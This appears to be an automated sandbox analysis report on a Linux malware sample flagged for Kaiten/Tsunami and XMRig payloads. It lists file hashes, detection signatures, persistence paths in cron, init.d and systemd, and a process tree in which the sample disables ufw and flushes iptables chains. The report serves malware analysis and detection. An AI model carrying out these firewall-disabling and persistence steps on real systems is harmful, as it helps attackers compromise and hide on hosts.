Analysis
-
max time kernel
149s -
max time network
147s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
11-10-2024 19:31
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Linux.Siggen.7706.4895.27444.elf
Resource
ubuntu1804-amd64-20240611-en
General
-
Target
SecuriteInfo.com.Linux.Siggen.7706.4895.27444.elf
-
Size
3.2MB
-
MD5
396a812c15bd9809d0c8f438b8517827
-
SHA1
6a8eb0ee0a05cede17a50ec04b0a549d70325dcb
-
SHA256
d8a12c39742e862d3c2a72bc85532deb7b62665357a357bf6a4f2ea3ceb8561a
-
SHA512
83ba44b59c9aa517887d27de612b646a17e1b0e372e216e279f188a75e12759b27f181509287e08e79aa34872b59b711fc8efd014b463f58934f762a8d70e948
-
SSDEEP
98304:EenYv0GcTOR0aUripytWEGYk91lRujZv9I:bYoOjGhnGPLlqZvW
Malware Config
Signatures
-
Detects Kaiten/Tsunami Payload 1 IoCs
resource yara_rule behavioral1/memory/1914-4-0x00007fe5f691f000-0x00007fe5f6933700-memory.dmp family_kaiten2 -
Detects Kaiten/Tsunami payload 1 IoCs
resource yara_rule behavioral1/memory/1914-4-0x00007fe5f691f000-0x00007fe5f6933700-memory.dmp family_kaiten -
XMRig Miner payload 2 IoCs
resource yara_rule behavioral1/memory/1701-2-0x00007ff8f2de6000-0x00007ff8f34a4d40-memory.dmp xmrig behavioral1/memory/1797-3-0x00007f34a1e1a000-0x00007f34a24d8d40-memory.dmp xmrig -
File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1842 sh 1858 chmod 1874 chmod -
Executes dropped EXE 4 IoCs
ioc pid Process /tmp/-bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 1701 -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 /etc/init.d/dpkg-deb-package 1702 dpkg-deb-package /tmp/-bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 1797 -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 /tmp/-python37-b3a06bff-0634-4190-84a8-75ee658c974c 1914 -python37-b3a06bff-0634-4190-84a8-75ee658c974c -
Flushes firewall rules 1 TTPs 3 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
pid Process 1508 ufw 1690 iptables 1863 update-rc.d -
ioc pid Process /lib/modules/4.15.0-213-generic/kernel/net/ipv6/netfilter/ip6_tables.ko 1512 modprobe /lib/modules/4.15.0-213-generic/kernel/arch/x86/kernel/msr.ko 1792 modprobe -
Attempts to change immutable files 33 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
pid Process 1692 chattr 1693 lsof 1887 chattr 1715 hostname 1767 chattr 1801 hostname 1862 chattr 1756 chattr 1768 chattr 1847 sed 1892 sed 1850 chattr 1882 chattr 1699 chattr 1713 sh 1716 hostname 1798 sh 1859 chattr 1711 chattr 1845 chattr 1852 chattr 1857 sed 1759 chattr 1766 chattr 1800 hostname 1842 sh 1694 lsof 1706 chattr 1757 chattr 1758 chattr 1873 sed 1893 chattr 1761 chattr -
Checks hardware identifiers (DMI) 1 TTPs 8 IoCs
Checks DMI information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/board_vendor -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/bios_vendor -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/sys_vendor -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/product_name -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/board_vendor -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/bios_vendor -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/sys_vendor -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/product_name -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 -
Creates/modifies Cron job 1 TTPs 17 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /etc/cron.daily/.lib-knlib4 SecuriteInfo.com.Linux.Siggen.7706.4895.27444.elf File opened for modification /etc/cron.weekly/.lib-knlib4 SecuriteInfo.com.Linux.Siggen.7706.4895.27444.elf File opened for modification /etc/cron.hourly/pwnrig tee File opened for modification /etc/cron.hourly/sediXPXGu sed File opened for modification /etc/cron.monthly/sednWeLNu sed File opened for modification /var/spool/cron/crontabs/tmp.PK0HW4 crontab File opened for modification /etc/cron.d/.lib-knlib4 SecuriteInfo.com.Linux.Siggen.7706.4895.27444.elf File opened for modification /var/spool/cron/.lib-knlib4 SecuriteInfo.com.Linux.Siggen.7706.4895.27444.elf File opened for modification /etc/cron.monthly/.lib-knlib4 SecuriteInfo.com.Linux.Siggen.7706.4895.27444.elf File opened for modification /etc/cron.daily/pwnrig tee File opened for modification /etc/cron.weekly/pwnrig tee File opened for modification /etc/cron.daily/sedhowmAu sed File opened for modification /etc/cron.hourly/.lib-knlib4 SecuriteInfo.com.Linux.Siggen.7706.4895.27444.elf File opened for modification /etc/cron.d/pwnrig tee File opened for modification /etc/cron.monthly/pwnrig tee File opened for modification /etc/cron.d/sedSW1Wtu sed File opened for modification /etc/cron.weekly/sedAVPoVu sed -
Enumerates active TCP sockets 1 TTPs 3 IoCs
Gets active TCP sockets from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/tcp SecuriteInfo.com.Linux.Siggen.7706.4895.27444.elf File opened for reading /proc/net/tcp lsof File opened for reading /proc/net/tcp lsof -
Enumerates running processes
Discovers information about currently running processes on the system
-
description ioc Process File opened for modification /etc/init.d/dpkg-deb-package SecuriteInfo.com.Linux.Siggen.7706.4895.27444.elf File opened for modification /etc/init.d/pwnrig tee File opened for modification /etc/init.d/sed4PMS5F sed -
Modifies systemd 2 TTPs 3 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
description ioc Process File opened for modification /etc/systemd/system/dpkg-deb-package.service SecuriteInfo.com.Linux.Siggen.7706.4895.27444.elf File opened for modification /lib/systemd/system/pwnrigl.service tee File opened for modification /etc/systemd/system/pwnrige.service tee -
Reads hardware information 1 TTPs 28 IoCs
Accesses system info like serial numbers, manufacturer names etc.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/board_serial -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/product_version -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/bios_date -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/product_serial -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/board_serial -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/bios_date -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/product_serial -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/chassis_serial -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/chassis_version -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/bios_version -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/board_name -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/board_version -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/chassis_serial -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/product_version -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/board_version -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/chassis_version -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/bios_version -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/board_name -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/chassis_type -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/product_uuid -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/chassis_type -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/product_uuid -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 -
Writes file to system bin folder 5 IoCs
description ioc Process File opened for modification /bin/sysdr cp File opened for modification /bin/dpkg-debian SecuriteInfo.com.Linux.Siggen.7706.4895.27444.elf File opened for modification /bin/bprofr cp File opened for modification /bin/crondr cp File opened for modification /bin/initdr cp -
Security Software Discovery 1 TTPs 2 IoCs
Adversaries may attempt to discover installed security software and its configurations.
pid Process 1769 sh 1777 sh -
resource yara_rule behavioral1/files/fstream-4.dat upx behavioral1/files/fstream-6.dat upx behavioral1/files/fstream-37.dat upx -
Checks CPU configuration 1 TTPs 6 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /proc/cpuinfo grep File opened for reading /proc/cpuinfo grep -
Reads CPU attributes 1 TTPs 17 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/possible -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/types -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/system/cpu/possible -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/types -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/system/cpu/online ps -
Reads system network configuration 1 TTPs 40 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/sockstat6 lsof File opened for reading /proc/net/icmp lsof File opened for reading /proc/net/ipx lsof File opened for reading /proc/net/raw lsof File opened for reading /proc/net/packet lsof File opened for reading /proc/net/udp lsof File opened for reading /proc/net/sctp/assocs lsof File opened for reading /proc/net/sctp/eps lsof File opened for reading /proc/net/ax25 lsof File opened for reading /proc/net/tcp lsof File opened for reading /proc/net/udplite6 lsof File opened for reading /proc/net/udplite lsof File opened for reading /proc/net/sctp/eps lsof File opened for reading /proc/net/tcp6 lsof File opened for reading /proc/net/ax25 lsof File opened for reading /proc/net/ipx lsof File opened for reading /proc/net/netlink lsof File opened for reading /proc/net/udplite6 lsof File opened for reading /proc/net/tcp lsof File opened for reading /proc/net/raw6 lsof File opened for reading /proc/net/udp6 lsof File opened for reading /proc/net/udp lsof File opened for reading /proc/net/udp SecuriteInfo.com.Linux.Siggen.7706.4895.27444.elf File opened for reading /proc/net/netlink lsof File opened for reading /proc/net/raw lsof File opened for reading /proc/net/sockstat lsof File opened for reading /proc/net/tcp SecuriteInfo.com.Linux.Siggen.7706.4895.27444.elf File opened for reading /proc/net/tcp6 SecuriteInfo.com.Linux.Siggen.7706.4895.27444.elf File opened for reading /proc/net/sockstat lsof File opened for reading /proc/net/packet lsof File opened for reading /proc/net/raw6 lsof File opened for reading /proc/net/tcp6 lsof File opened for reading /proc/net/sctp/assocs lsof File opened for reading /proc/net/udp6 SecuriteInfo.com.Linux.Siggen.7706.4895.27444.elf File opened for reading /proc/net/unix lsof File opened for reading /proc/net/sockstat6 lsof File opened for reading /proc/net/udplite lsof File opened for reading /proc/net/icmp lsof File opened for reading /proc/net/unix lsof File opened for reading /proc/net/udp6 lsof -
Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/level -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/coherency_line_size -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/node/devices/node0/access0/initiators -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/fs/cgroup/unified/cgroup.controllers -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/size -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/node/devices/node0/hugepages -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/size -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/physical_line_partition -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/number_of_sets -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/node/devices/node0/access0/initiators/read_bandwidth -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/module/x_tables/initstate modprobe File opened for reading /sys/bus/cpu/devices/cpu0/topology/core_siblings -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/type -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/node/devices/node0/hugepages/hugepages-2048kB/nr_hugepages -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/coherency_line_size -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/level -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/physical_line_partition -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/node/devices/node0/meminfo -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/coherency_line_size -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/number_of_sets -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/physical_line_partition -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index9/shared_cpu_map -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cpufreq/cpuinfo_max_freq -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/number_of_sets -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/type -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/node/devices/node0/hugepages -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/dax/devices -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/node/devices/node0/access1/initiators -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/node/devices/node0/access0/initiators/read_latency -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/number_of_sets -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/topology/die_cpus -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/type -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/physical_line_partition -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index4/shared_cpu_map -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/topology/thread_siblings -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/size -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cpufreq/base_frequency -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/node/devices/node0/access0/initiators/read_latency -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/system/node/online -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/size -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index8/shared_cpu_map -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/fs/cgroup/cpuset/cpuset.cpus -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/fs/cgroup/cpuset/cpuset.mems -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/level -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/number_of_sets -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/kernel/mm/hugepages -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index5/shared_cpu_map -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/fs/cgroup/unified/cgroup.controllers -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/shared_cpu_map -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/virtual/dmi/id -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index9/shared_cpu_map -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/node/devices/node0/access1/initiators -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/shared_cpu_map -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/topology/core_id -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cpufreq/base_frequency -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/size -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/physical_line_partition -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/type -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/devices/system/node/online -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/topology/physical_package_id -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/shared_cpu_map -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 -
Process Discovery 1 TTPs 2 IoCs
Adversaries may try to discover information about running processes.
pid Process 1771 ps 1780 ps -
description ioc Process File opened for reading /proc/996/fdinfo/3 lsof File opened for reading /proc/1080/status pkill File opened for reading /proc/1762/stat ps File opened for reading /proc/515/fdinfo/3 lsof File opened for reading /proc/1177/status pgrep File opened for reading /proc/1080/cmdline pkill File opened for reading /proc/418/cmdline ps File opened for reading /proc/1199/cmdline ps File opened for reading /proc/1/sched systemctl File opened for reading /proc/89/fd SecuriteInfo.com.Linux.Siggen.7706.4895.27444.elf File opened for reading /proc/1/fdinfo/111 lsof File opened for reading /proc/731/fdinfo/39 lsof File opened for reading /proc/1336/cmdline pgrep File opened for reading /proc/1326/status ps File opened for reading /proc/1169/cmdline ps File opened for reading /proc/filesystems id File opened for reading /proc/277/fd lsof File opened for reading /proc/1497/stat lsof File opened for reading /proc/260/fdinfo/91 lsof File opened for reading /proc/1169/cmdline pgrep File opened for reading /proc/32/stat ps File opened for reading /proc/1155/cmdline ps File opened for reading /proc/424/status ps File opened for reading /proc/1137/stat ps File opened for reading /proc/1501/stat ps File opened for reading /proc/484/status ps File opened for reading /proc/1155/status ps File opened for reading /proc/1137/fdinfo/4 lsof File opened for reading /proc/1169/fdinfo/2 lsof File opened for reading /proc/173/cmdline pgrep File opened for reading /proc/356/status pgrep File opened for reading /proc/515/status ps File opened for reading /proc/sys/kernel/osrelease systemctl File opened for reading /proc/514/status pkill File opened for reading /proc/939/fdinfo/5 lsof File opened for reading /proc/1200/fdinfo/1 lsof File opened for reading /proc/1200/cmdline pgrep File opened for reading /proc/1146/fd SecuriteInfo.com.Linux.Siggen.7706.4895.27444.elf File opened for reading /proc/996/stat lsof File opened for reading /proc/171/status pgrep File opened for reading /proc/1499/cmdline pkill File opened for reading /proc/559/stat ps File opened for reading /proc/164/stat ps File opened for reading /proc/self/exe -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 File opened for reading /proc/164/status pgrep File opened for reading /proc/441/cmdline ps File opened for reading /proc/731/fdinfo/53 lsof File opened for reading /proc/996/fdinfo/8 lsof File opened for reading /proc/84/status pkill File opened for reading /proc/18/stat lsof File opened for reading /proc/31/stat ps File opened for reading /proc/1292/cmdline ps File opened for reading /proc/169/fd lsof File opened for reading /proc/277/fdinfo/2 lsof File opened for reading /proc/1051/status pgrep File opened for reading /proc/7/cmdline pgrep File opened for reading /proc/1186/status ps File opened for reading /proc/35/stat ps File opened for reading /proc/12/stat ps File opened for reading /proc/180/status ps File opened for reading /proc/484/cmdline pgrep File opened for reading /proc/555/status pgrep File opened for reading /proc/1074/cmdline pgrep File opened for reading /proc/1174/cmdline ps -
System Network Configuration Discovery 1 TTPs 5 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1690 bash 1512 modprobe 1687 bash 1688 bash 1689 bash -
Writes file to tmp directory 6 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/~/.bash_profile sh File opened for modification /tmp/-python37-b3a06bff-0634-4190-84a8-75ee658c974c SecuriteInfo.com.Linux.Siggen.7706.4895.27444.elf File opened for modification /tmp/.bashirc -python37-b3a06bff-0634-4190-84a8-75ee658c974c File opened for modification /tmp/-bash-a09b4878-1e6d-4b05-9d2a-e8176d160107 SecuriteInfo.com.Linux.Siggen.7706.4895.27444.elf File opened for modification /tmp/.klibsystem5 SecuriteInfo.com.Linux.Siggen.7706.4895.27444.elf File opened for modification /tmp/.lock -bash-a09b4878-1e6d-4b05-9d2a-e8176d160107
Processes
-
/tmp/SecuriteInfo.com.Linux.Siggen.7706.4895.27444.elf/tmp/SecuriteInfo.com.Linux.Siggen.7706.4895.27444.elf1⤵
- Creates/modifies Cron job
- Enumerates active TCP sockets
- Modifies init.d
- Modifies systemd
- Writes file to system bin folder
- Reads system network configuration
- Reads runtime system information
- Writes file to tmp directory
PID:1501 -
/bin/bashbash -c "ufw disable"2⤵PID:1508
-
-
/usr/sbin/ufwufw disable2⤵
- Flushes firewall rules
PID:1508 -
/sbin/iptables/sbin/iptables -V3⤵PID:1509
-
-
/lib/ufw/ufw-init/lib/ufw/ufw-init force-stop3⤵PID:1510
-
/sbin/ip6tablesip6tables -L INPUT -n4⤵PID:1511
-
/sbin/modprobe/sbin/modprobe ip6_tables5⤵
- Loads a kernel module
- Enumerates kernel/hardware configuration
- System Network Configuration Discovery
PID:1512
-
-
-
/sbin/iptablesiptables -F ufw-logging-deny4⤵PID:1521
-
-
/sbin/iptablesiptables -F ufw-logging-allow4⤵PID:1524
-
-
/sbin/iptablesiptables -F ufw-not-local4⤵PID:1525
-
-
/sbin/iptablesiptables -F ufw-user-logging-input4⤵PID:1526
-
-
/sbin/iptablesiptables -F ufw-user-limit-accept4⤵PID:1527
-
-
/sbin/iptablesiptables -F ufw-user-limit4⤵PID:1528
-
-
/sbin/iptablesiptables -F ufw-skip-to-policy-input4⤵PID:1529
-
-
/sbin/iptablesiptables -F ufw-reject-input4⤵PID:1530
-
-
/sbin/iptablesiptables -F ufw-after-logging-input4⤵PID:1531
-
-
/sbin/iptablesiptables -F ufw-after-input4⤵PID:1532
-
-
/sbin/iptablesiptables -F ufw-user-input4⤵PID:1533
-
-
/sbin/iptablesiptables -F ufw-before-input4⤵PID:1534
-
-
/sbin/iptablesiptables -F ufw-before-logging-input4⤵PID:1535
-
-
/sbin/iptablesiptables -F ufw-skip-to-policy-forward4⤵PID:1536
-
-
/sbin/iptablesiptables -F ufw-reject-forward4⤵PID:1537
-
-
/sbin/iptablesiptables -F ufw-after-logging-forward4⤵PID:1538
-
-
/sbin/iptablesiptables -F ufw-after-forward4⤵PID:1539
-
-
/sbin/iptablesiptables -F ufw-user-logging-forward4⤵PID:1540
-
-
/sbin/iptablesiptables -F ufw-user-forward4⤵PID:1541
-
-
/sbin/iptablesiptables -F ufw-before-forward4⤵PID:1542
-
-
/sbin/iptablesiptables -F ufw-before-logging-forward4⤵PID:1543
-
-
/sbin/iptablesiptables -F ufw-track-forward4⤵PID:1544
-
-
/sbin/iptablesiptables -F ufw-track-output4⤵PID:1545
-
-
/sbin/iptablesiptables -F ufw-track-input4⤵PID:1546
-
-
/sbin/iptablesiptables -F ufw-skip-to-policy-output4⤵PID:1547
-
-
/sbin/iptablesiptables -F ufw-reject-output4⤵PID:1548
-
-
/sbin/iptablesiptables -F ufw-after-logging-output4⤵PID:1549
-
-
/sbin/iptablesiptables -F ufw-after-output4⤵PID:1550
-
-
/sbin/iptablesiptables -F ufw-user-logging-output4⤵PID:1551
-
-
/sbin/iptablesiptables -F ufw-user-output4⤵PID:1552
-
-
/sbin/iptablesiptables -F ufw-before-output4⤵PID:1553
-
-
/sbin/iptablesiptables -F ufw-before-logging-output4⤵PID:1554
-
-
/sbin/iptablesiptables -Z ufw-logging-deny4⤵PID:1555
-
-
/sbin/iptablesiptables -Z ufw-logging-allow4⤵PID:1556
-
-
/sbin/iptablesiptables -Z ufw-not-local4⤵PID:1557
-
-
/sbin/iptablesiptables -Z ufw-user-logging-input4⤵PID:1558
-
-
/sbin/iptablesiptables -Z ufw-user-limit-accept4⤵PID:1559
-
-
/sbin/iptablesiptables -Z ufw-user-limit4⤵PID:1560
-
-
/sbin/iptablesiptables -Z ufw-skip-to-policy-input4⤵PID:1561
-
-
/sbin/iptablesiptables -Z ufw-reject-input4⤵PID:1562
-
-
/sbin/iptablesiptables -Z ufw-after-logging-input4⤵PID:1563
-
-
/sbin/iptablesiptables -Z ufw-after-input4⤵PID:1564
-
-
/sbin/iptablesiptables -Z ufw-user-input4⤵PID:1565
-
-
/sbin/iptablesiptables -Z ufw-before-input4⤵PID:1566
-
-
/sbin/iptablesiptables -Z ufw-before-logging-input4⤵PID:1567
-
-
